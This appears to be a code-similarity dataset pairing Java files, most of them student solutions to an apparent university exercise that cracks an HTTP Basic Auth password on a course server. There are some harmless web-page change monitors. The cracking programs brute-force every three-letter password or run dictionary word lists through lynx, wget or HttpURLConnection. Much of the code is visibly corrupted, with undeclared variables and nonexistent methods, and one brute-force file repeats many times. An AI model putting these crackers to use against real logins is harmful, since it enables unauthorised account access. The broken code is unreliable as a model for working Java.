import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
015.java
197.java
0
public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
231.java
197.java
0
import java.io.*; import java.*; import java.net.*; public class BruteForce { public static void main(String[] args) throws Exception { String password = checkPassword(); System.out.println("Congratulations Your password is "+ password ); URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty("Authorization", " " + encode(":"+password)); BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) System.out.println(inputLine); in.close(); } private static String checkPassword() throws Exception { String Password=" "; int attempt=0; URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection sec; String[] cad = {"a","b","c","d","e","f","g","h","i","j","k","l","m", "n","o","p","q","r","s","t","u","v","w","x","y","z", "A","B","C","D","E","F","G","H","I","J","K","L","M", "N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}; for (int i=0; i < cad.length; i++) { for (int j=0; j< cad.length;j++) { for (int k=0; k<cad.length;k++) { attempt++; String Passwd = new String(cad[i]+cad[j]+cad[k]); String userPasswd= ":"+Passwd; System.out.println(attempt+" "+userPasswd); sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty("Authorization", " " + encode(userPasswd)); if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK")) { Password=Passwd; return Password; } sec.disconnect(); } } } return "Password not found"; } private static String encode(String userPasswd) throws Exception { String ad; String encodedUserPasswd=" "; String addr= "~//base64_encode.php "+userPasswd ; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr}); BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream())); while ( (cad = resp.readLine()) != null ) { encodedUserPasswd=cad; } return encodedUserPasswd; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
160.java
197.java
0
import java.io.*; public class WatchDog { public static void main (String[] args) { String isdiff = new String(); String[] cmd1 = {"//sh","-c","diff newfile.html oldfile.html > diff.txt"}; String[] cmd2 = {"//sh","-c","mailx -s \"Web Changed\" \"@cs.rmit.edu.\" < diff.txt"}; try { while(true) { Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html"); Thread.sleep(43200000); Thread.sleep(43200000); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html"); Thread.sleep(2000); Runtime.getRuntime().exec(cmd1); Thread.sleep(2000); BufferedReader diff = new BufferedReader(new FileReader("diff.txt")); if ((isdiff=diff.readLine()) != null) { Runtime.getRuntime().exec(cmd2); System.out.println("Change Detected & Email Send"); } diff.print(); } } catch (IOException err) { err.printStackTrace(); } catch (InterruptedException err) { err.printStackTrace(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
240.java
197.java
0
import java.util.*; import java.io.*; import java.net.*; class Dictionary { public static void main (String a[]) { String pwd=""; try { BufferedReader bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); int i=0; while(bf.readLine() != null) { pwd= bf.readLine(); String userPassword = ":"+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} i++; } } catch(Exception e ) { System.out.println(" ex while ="+ e); } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); } catch(Exception ex1) { } num = i; this.userPassword = userPassword; } public int getResponseCode() { return this.responseCode; } public void run() { try { String encoding = new bf.misc.BASE64Encoder().encode (userPassword.getBytes()); uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); System.out.println("Reponse = "+uc.getResponseCode()+"for pwd = "+userPassword); this.responseCode = uc.getResponseCode(); if(uc.getResponseCode()==200) { System.out.println("====== Password Found : " +userPassword+ "======================="); System.exit(0); } } catch (Exception e) { System.out.println("Could not execute Thread "+num+" "); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
119.java
197.java
0
import java.util.*; public class Dictionary { private String strUsername; private String strURL; public Dictionary(String username, String url) { strUsername = username; strURL = url; } public void run() { Date dtStart, dtEnd; PasswordFile pwd = new PasswordFile("/usr/dict/words"); PasswordTest tester; int i=1; boolean bDone = false; Result res; dtStart = new Date(); while(!bDone) { tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); bDone = tester; i++; if(bDone) { res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); System.out.print(res.toString()); } else { } if(pwd.getPassword() == null) { System.out.println("Exhausted word file without finding password"); bDone = true; } } } public static void main(String[] args) { Dictionary dict = new Dictionary("", "http://sec-crack.cs.rmit.edu./SEC/2/"); dict.run(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
006.java
197.java
0
import java.io.*; import java.util.*; import java.*; import java.net.*; public class WatchDog { static Process p = null; static Process qproc = null; static BufferedReader bf = null; static StringTokenizer tok = null; static String Path = null; static String str = null; static String urlStr=null; static boolean changed = false; static File indexfile = new File("index.html"); static File tmpfile = new File("tmpindex.html"); static File mdfile = new File("md5file.txt"); static File tmpmdfile = new File("tmpmd5file.txt"); static PrintWriter mailwriter = null; public static void main (String[] args) { urlStr = "http://www.cs.rmit.edu./"; try { mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false))); getLatest(urlStr); parseFile(); mailwriter.read(); if(changed) { System.out.println("Sending Mail"); p = Runtime.getRuntime().exec("./mailscript"); p.waitFor(); } else System.out.println(" mail sent"); } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println("Interrupted Exception"); intex.printStackTrace(); } } static void getLatest(String urlStr) { URL url = null; try { url = new URL(urlStr); } catch (MalformedURLException mfurl) { System.out.println("Malformed URL"); mfurl.printStackTrace(); } try { mailwriter.println(); p = Runtime.getRuntime().exec("/usr//pwd"); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); Path=bf.readLine(); if (indexfile.exists()) { mailwriter.println("File with name 'index.html' found in directory."); mailwriter.println("Renaming existing 'index.html' 'tmpindex.html..."); p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile); p.waitFor(); p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile); mailwriter.println(); mailwriter.println("File with name 'md5file.txt' found in directory."); mailwriter.print("Renaming existing 'md5file.txt' 'tmpmd5file.txt..."); mailwriter.println("."); mailwriter.println(); } mailwriter.println("Downloading current version of site - " + urlStr); p = Runtime.getRuntime().exec("/usr/local//wget "+url); p.waitFor(); if (!tmpfile.exists()) { mailwriter.println("File - " + urlStr + "index.html saved disk for the first time."); } } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (IndexOutOfBoundsException iobe) { System.out.println("Index Out Of Bounds Exception"); iobe.printStackTrace(); } catch (Exception e) { System.out.println("Exception"); e.printStackTrace(); } } static void parseFile() { Vector imgVect = new Vector(); try { p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile); p.waitFor(); bf = new BufferedReader(new InputStreamReader( p.getInputStream())); while((str=bf.readLine())!=null) { bf = new StringTokenizer(str, "\"", false); while(bf.hasMoreTokens()) { str=bf.nextToken(); if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (Exception e) { System.out.println("Exception"); e.printStackTrace(); } mailwriter.println("Creating file with md5sums of the webpage and images..."); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i<imgVect.size();i++) { imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i); imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i); p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i)); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); rmImgFile(Path+"/"+(String)imgNames.elementAt(i)); } pr.get(); } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println("Interrupted Exception"); intex.printStackTrace(); } if (tmpmdfile.exists()) compVersions((imgVect.size())+1); } static void compVersions(int numlines) { int tmp = 0; int x = 0; String[] md5A = new String[numlines]; Vector tmpmd5V = new Vector(); String[] tmpmd5A = null; StringTokenizer stoken = null; String mdImgName = null; String mdImgVal = null; String tmpImgName = null; String tmpImgVal = null; try { bf = new BufferedReader(new FileReader(mdfile)); while((str = bf.readLine()) != null) { md5A[tmp]=str; tmp++; } bf = new BufferedReader(new FileReader(tmpmdfile)); tmp=0; while ((str = bf.readLine()) !=null) { tmpmd5V.addElement(str); tmp++; } tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]); if (tmpmd5A[0].compareTo(md5A[0]) != 0) { mailwriter.println("---The file index.html has changed.---"); mailwriter.println("-Diff of old and new -"); changed=true; mailwriter.println(); p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html"); p.waitFor(); bf= new BufferedReader(new InputStreamReader(p.getInputStream())); while ((str = bf.readLine()) != null) mailwriter.println(str); } else { mailwriter.println("The file index.html hasn't changed."); mailwriter.println(); } mailwriter.println(); mailwriter.println("Changes Images"); mailwriter.println("-----------------"); for (tmp=1; tmp<md5A.length; tmp++) { stoken = new StringTokenizer(md5A[tmp]); mdImgVal = stoken.nextToken(); mdImgName = stoken.nextToken(); for (x=1; x<tmpmd5A.length; x++) { stoken = new StringTokenizer(tmpmd5A[x]); tmpImgVal = stoken.nextToken(); tmpImgName = stoken.nextToken(); if (mdImgName.compareTo(tmpImgName) == 0) { if(mdImgVal.compareTo(tmpImgVal) == 0) { break; } else { mailwriter.println("The image "+mdImgName+" has changed."); changed=true; break; } } if (x == ((tmpmd5A.length)-1)) { mailwriter.println("The image "+mdImgName+" is new this "); changed=true; } } } for (tmp=1; tmp<tmpmd5A.length; tmp++) { stoken = new StringTokenizer(tmpmd5A[tmp]); tmpImgVal = stoken.nextToken(); tmpImgName = stoken.nextToken(); for (x=1; x<md5A.length; x++) { stoken = new StringTokenizer(md5A[x]); mdImgVal = stoken.nextToken(); mdImgName = stoken.nextToken(); if (tmpImgName.compareTo(mdImgName) == 0) { break; } if (x == ((md5A.length)-1)) { mailwriter.println("The image "+tmpImgName+" is longer the "); changed=true; } } } } catch(IOException ioe) {System.out.println("IOException"); ioe.printStackTrace(); } catch(InterruptedException iex) {System.out.println("Interrupted Exception"); iex.printStackTrace(); } } static Object getFullPath(String fname) { if(fname.charAt(0)== '/') fname=urlStr+fname; else if(fname.charAt(0) != 'h') fname=urlStr+'/'+fname; getImgFile(fname); return (Object)fname; } static void getImgFile(String fullPath) { try { qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath); qproc.waitFor(); } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println("Interrupted Exception"); intex.printStackTrace(); } } static void rmImgFile(String delpath) { try { qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath); qproc.waitFor(); } catch (IOException ioe) { System.out.println("IOException"); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println("Interrupted Exception"); intex.printStackTrace(); } } static Object getImgNames(String prsName) { String str = new StringTokenizer(prsName, "/", false); while(str.hasMoreTokens()) { str=bgf.nextToken(); if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0)) prsName=str; } return (Object)prsName; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
219.java
197.java
0
import java.io.*; import java.util.*; public class Dictionary extends Object { public static void main(String args[]) { TopThread top = new TopThread(); BottomThread bottom = new BottomThread(); top.start(); bottom.start(); } } class TopThread extends Thread { String strLine=""; String pass="",s=""; int j=0; BufferedReader in; Process p; int attempt=0; int start = System.currentTimeMillis(); public void run () { try { in = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); while((strLine = in.readLine()) != null) { if(strLine.length()==3){ pass=strLine; System.out.println("Trying crack using: "+pass); try{ attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); p.waitFor(); j = p.exitValue(); } catch(Exception o){} if(j==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" DICTIONARY ATTACK ---- Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts in " + duration + " milliseconds " ); out.close(); System.out.println(" Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } class BottomThread extends Thread { String strLine=""; String pass="",s=""; int j=0; BufferedReader in; Process p; int attempt=0; int start = System.currentTimeMillis(); public void run () { ArrayList a = new ArrayList(4096); try { in = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); while((strLine = in.readLine()) != null) if(strLine.length()==3){ cad.add(strLine); } in.close(); } catch (IOException e) { e.printStackTrace(); System.exit(1); } String strArray[] = new String[a.size()]; cad.toArray(strArray); for(int i = strArray.length - 1; i >= 0; i--){ pass=strArray[i]; try { System.out.println("Trying crack using: "+pass); try{ attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); p.waitFor(); j = p.exitValue(); } catch(Exception o){} if(j==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" DICTIONARY ATTACK ---- Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts in " + duration + " milliseconds " ); out.close(); System.out.println(" Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
097.java
197.java
0
public class RunWatchDog{ public static void main(String []args){ WatchDog wd = new WatchDog(); System.out.println("WatchDog is Starting!"); wd.FirstRead(); wd.print(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
002.java
197.java
0
import java.io.*; class Dictionary{ public static void main(String args[]){ try{ File file = new File("words"); FileReader fr = new FileReader(file); BufferedReader bf = new BufferedReader(fr); URLHack uh = new URLHack(); String line=""; while((line = bf.readLine()) != null){ if(line.length() <=3) { uh.crackIt(line); } } } catch(IOException ioe){ System.out.println("Error: "+ioe); } } } class URLHack{ public void crackIt(String paas){ Process p=null; try{ p = Runtime.getRuntime().exec("wget -nv --http-user= --http-passwd="+paas+ " http://sec-crack.cs.rmit.edu./SEC/2/"); InputStream is = p.getErrorStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); String tempLine=""; tempLine = bf.readLine(); System.out.println(tempLine); if(tempLine.length() == 21) System.out.println("Invalid Password " +paas); else { System.out.println("Password is " + paas); System.exit(0); } } catch(Exception e){ System.out.println(" ERROR "+e); } } }
